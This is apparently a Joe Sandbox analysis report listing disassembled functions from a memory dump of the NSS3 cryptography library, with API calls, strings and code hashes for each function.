Part of subcall function 6CE4BA90: PORT_NewArena_Util.NSS3(00000800,6CED3CAF,?), ref: 6CE4BABF
Part of subcall function 6CE4BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CED3CAF,?), ref: 6CE4BAD5
Part of subcall function 6CE4BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CED3CAF,?), ref: 6CE4BB08
Part of subcall function 6CE4BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CED3CAF,?), ref: 6CE4BB1A
Part of subcall function 6CE4BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CED3CAF,?), ref: 6CE4BB3B

PR_EnterMonitor.NSS3(?), ref: 6CED3CCB

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

PR_EnterMonitor.NSS3(?), ref: 6CED3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CED3CF8
PR_ExitMonitor.NSS3(?), ref: 6CED3D15
PR_ExitMonitor.NSS3(?), ref: 6CED3D2E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 81ef076454d5de796bd85d53537e7049860cbce63407c3654d167cfe3b15d5f0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 3211E6B9A106006FE7205E65FC4179BB2F4AB1170CF614538E41A9BB20F632F91ACA53

Function 6CE9FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CE9FE08

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CE9FE1D

Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CE9FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CE9FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CE9FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CE9FE6F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 1f052bd14e4a40e24c539e102279de9935bc4c52bef24bf628ab15d1c69539cc
Instruction ID: 1ea4df455521719e45cf6778c2ab3f1e91a8d50fd5605deff370c990af9771c7
Opcode Fuzzy Hash: 1f052bd14e4a40e24c539e102279de9935bc4c52bef24bf628ab15d1c69539cc
Instruction Fuzzy Hash: F51108B6A00205AFEB008F95DC40B5B77B8AF552ADF348038F91D8BB12E735D925C791

Function 6CF4FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF4FD9E

Part of subcall function 6CF09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE31A48), ref: 6CF09BB3
Part of subcall function 6CF09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE31A48), ref: 6CF09BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF4FDB9

Part of subcall function 6CE2A900: TlsGetValue.KERNEL32(00000000,?,6CFA14E4,?,6CDC4DD9), ref: 6CE2A90F
Part of subcall function 6CE2A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE2A94F

PR_Unlock.NSS3 ref: 6CF4FDD4
PR_Lock.NSS3 ref: 6CF4FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF4FE0D
PR_Unlock.NSS3 ref: 6CF4FE23

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: c310f20e74e8c13f17a9177c3b6af2865dfa89c9c3140c2a91ec1097d89a50e2
Instruction ID: a00c68912f909e0509524709ca5911ba38f6620d2f0b9b5213709ffff159f0b0
Opcode Fuzzy Hash: c310f20e74e8c13f17a9177c3b6af2865dfa89c9c3140c2a91ec1097d89a50e2
Instruction Fuzzy Hash: 8C0165FAE14145DFDF445F59FC00996BA31BB032787158378E829477E2E722DE28D681

Function 6CE2AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CE2AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE2AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CE2AF5C
misuse, xrefs: 6CE2AFCE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 0ceedaeef7b4f900bd8784bea56d2ce961d4b31040c6cc3ba9b331d0740be369
Instruction ID: 4d824317d2e63799dbeb49051a0d80964c700532b5dc4e08d3ad544068b43eed
Opcode Fuzzy Hash: 0ceedaeef7b4f900bd8784bea56d2ce961d4b31040c6cc3ba9b331d0740be369
Instruction Fuzzy Hash: 4591F375B412158FDB14CF59C850BAEBBF1BF45318F2984A8E865AB791C738ED02CB60

Function 6CE8FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CE8FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE8FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE8FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CE8FDDE

Part of subcall function 6CE98800: TlsGetValue.KERNEL32(?,6CEA085A,00000000,?,6CE48369,?), ref: 6CE98821
Part of subcall function 6CE98800: TlsGetValue.KERNEL32(?,?,6CEA085A,00000000,?,6CE48369,?), ref: 6CE9883D
Part of subcall function 6CE98800: EnterCriticalSection.KERNEL32(?,?,?,6CEA085A,00000000,?,6CE48369,?), ref: 6CE98856
Part of subcall function 6CE98800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CE98887
Part of subcall function 6CE98800: PR_Unlock.NSS3(?,?,?,?,6CEA085A,00000000,?,6CE48369,?), ref: 6CE98899

Strings

pkcs11:, xrefs: 6CE8FC4F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: fc9313b5ecfc3ae124854ccd27ab9a46d49121ca23c1220a61756c27ebe3f52e
Instruction ID: 8aa1d915102e0d05e194beddd9539911e2885b90492ee03e5da9afb896896554
Opcode Fuzzy Hash: fc9313b5ecfc3ae124854ccd27ab9a46d49121ca23c1220a61756c27ebe3f52e
Instruction Fuzzy Hash: 3A51F4B2B121119BDB109F65DC40B9A7775AF4135CF340129DE0CABB92EB39E905CB92

Function 6CDCBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDCBE02

Part of subcall function 6CEF9C40: memcmp.VCRUNTIME140(?,00000000,6CDCC52B), ref: 6CEF9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDCBE9F

Strings

%s at line %d of [%.10s], xrefs: 6CDCBE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDCBE89
database corruption, xrefs: 6CDCBE93

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 2c5c2445c12a149a1cfa41cfcd2911325bbaf98ee9fbb1c837252ffc60bd69f0
Instruction ID: 0f7311e0f0acca0ee1e4a6f1d4f9ab710b1f57a967ef2aba4b6d2dd080400f79
Opcode Fuzzy Hash: 2c5c2445c12a149a1cfa41cfcd2911325bbaf98ee9fbb1c837252ffc60bd69f0
Instruction Fuzzy Hash: E1314531B04659ABC700CF69C890AABBBADAF41B14B098544EE941BAE1D331EC04C7D2

Function 6CE41EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE44C64,?,-00000004), ref: 6CE41EE2

Part of subcall function 6CEA1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE41D97,?,?), ref: 6CEA1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE44C64,?,-00000004), ref: 6CE41F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE44C64,?,-00000004), ref: 6CE41F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE44C64,?,-00000004), ref: 6CE41F53

Strings

dLl, xrefs: 6CE41F2B, 6CE41F51

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 2881edb1bc0f172d1c8a1d596816a557fac37f3d84e1fae03e41e51e7d234953
Instruction ID: d714c5934322495287e3f72d3fee2ea059bc7abcf7255e7331196dcdd361e7f3
Opcode Fuzzy Hash: 2881edb1bc0f172d1c8a1d596816a557fac37f3d84e1fae03e41e51e7d234953
Instruction Fuzzy Hash: 7A218375514205AFCB00CEA5DD01A9B77F9AF85699F10492DE954C3B40F330E52AC792

Function 6CE30DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE30BDE), ref: 6CE30DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE30BDE), ref: 6CE30DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE30BDE), ref: 6CE30DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE30BDE), ref: 6CE30E32

Strings

%s incr => %d (find lib), xrefs: 6CE30E2D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 4ad0fe8fa873f40f26cd5236ab7ae51051031565fa9519903e8f1c608e2e2360
Instruction ID: 2bd8bea3728a8efe384eeb19e9475d349ad5167460e5e83cd707ce1616edd060
Opcode Fuzzy Hash: 4ad0fe8fa873f40f26cd5236ab7ae51051031565fa9519903e8f1c608e2e2360
Instruction Fuzzy Hash: BD012472B002209FEA249F26DC45F17B3BCDB45A09B55446DEA09D3B81E762FC14C7E1

Function 6CEEAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CEC6AC6,?), ref: 6CEEAC2D

Part of subcall function 6CE8ADC0: TlsGetValue.KERNEL32(?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE10
Part of subcall function 6CE8ADC0: EnterCriticalSection.KERNEL32(?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE24
Part of subcall function 6CE8ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE6D079,00000000,00000001), ref: 6CE8AE5A
Part of subcall function 6CE8ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE6F
Part of subcall function 6CE8ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE7F
Part of subcall function 6CE8ADC0: TlsGetValue.KERNEL32(?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AEB1
Part of subcall function 6CE8ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CEC6AC6,?), ref: 6CEEAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CEC6AC6,?), ref: 6CEEAC59
free.MOZGLUE(8CB6FF01,6CEC6AC6,?,?,?,?,?,?,?,?,?,?,6CED5D40,00000000,?,6CEDAAD4), ref: 6CEEAC62

Strings

@]l, xrefs: 6CEEAC05

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: b9f1960eece6a217f8d511ab93d152c8b8c88929e4fc5e6f08854c83a81476e0
Instruction ID: 9c30a163fd2180e99c17f0ea23372a9d1fb5378ed798824b4631b9519ffd45b1
Opcode Fuzzy Hash: b9f1960eece6a217f8d511ab93d152c8b8c88929e4fc5e6f08854c83a81476e0
Instruction Fuzzy Hash: 39014FB56416009FDB00DF15E8C0B46BBB8AF48B5DF288068E9498F746D735E849CBA1

Function 6CDD9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDD9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CDD9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDD9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDD9DDE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 200d91fd7ad12926ea35926d7e3f6ecb05e44105c8415d009237bcf69a18ef07
Instruction ID: f10413ad4bd78f909b21648d4fc7d6ef36dbe674f2083e75edc551899cfe9e63
Opcode Fuzzy Hash: 200d91fd7ad12926ea35926d7e3f6ecb05e44105c8415d009237bcf69a18ef07
Instruction Fuzzy Hash: 1DA1B031F10100CBDF48AFA5E8A976E7B75BB86315F1A412CD40647A64DF3AF845CB92

Function 6CE61E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE61ECC

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

TlsGetValue.KERNEL32 ref: 6CE61EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE61EEF
PR_ExitMonitor.NSS3(?), ref: 6CE61F37
PR_Unlock.NSS3(?), ref: 6CE61F44

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 5304b6fddf9eccbc3506f50a2c4970c3e9d1b83c3c8e923fd712ebef55f524df
Instruction ID: ba587d31671f35987b667859a51c847e53a2908ea6fc3d00519db3855ce5b32c
Opcode Fuzzy Hash: 5304b6fddf9eccbc3506f50a2c4970c3e9d1b83c3c8e923fd712ebef55f524df
Instruction Fuzzy Hash: 3671EFB1A543019FD701CF66D841A4AB7F1FF89358F24492DE8A893B20E731F959CB92

Function 6CEEDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEEDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CEEDE77

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: b8d938beb4597cdd5cd294787ea07c9a286001617450e8353b15e51e10d5b3a2
Instruction ID: 9c19aedb4f02459fefa1bd60199a881596b45451c20ffe15f31f1e96a0018a7d
Opcode Fuzzy Hash: b8d938beb4597cdd5cd294787ea07c9a286001617450e8353b15e51e10d5b3a2
Instruction Fuzzy Hash: 8E717679E00318CFDB10CF99C584689B7B4FF8A758F25816DD9596B712D770AA02CF90

Function 6CE5DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE5AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE61397,5B5F5EC0,?,?,6CE5B1EE,2404110F,?,?), ref: 6CE5AB3C
Part of subcall function 6CE5AB10: free.MOZGLUE(D958E836,?,6CE5B1EE,2404110F,?,?), ref: 6CE5AB49
Part of subcall function 6CE5AB10: DeleteCriticalSection.KERNEL32(5D5E6D05), ref: 6CE5AB5C
Part of subcall function 6CE5AB10: free.MOZGLUE(5D5E6CF9), ref: 6CE5AB63
Part of subcall function 6CE5AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE5AB6F
Part of subcall function 6CE5AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE5AB76

TlsGetValue.KERNEL32(?,?,6CE5B266,6CE615C6,?,?,6CE615C6), ref: 6CE5DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE5B266,6CE615C6,?,?,6CE615C6), ref: 6CE5DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE5B266,6CE615C6,?,?,6CE615C6), ref: 6CE5E029
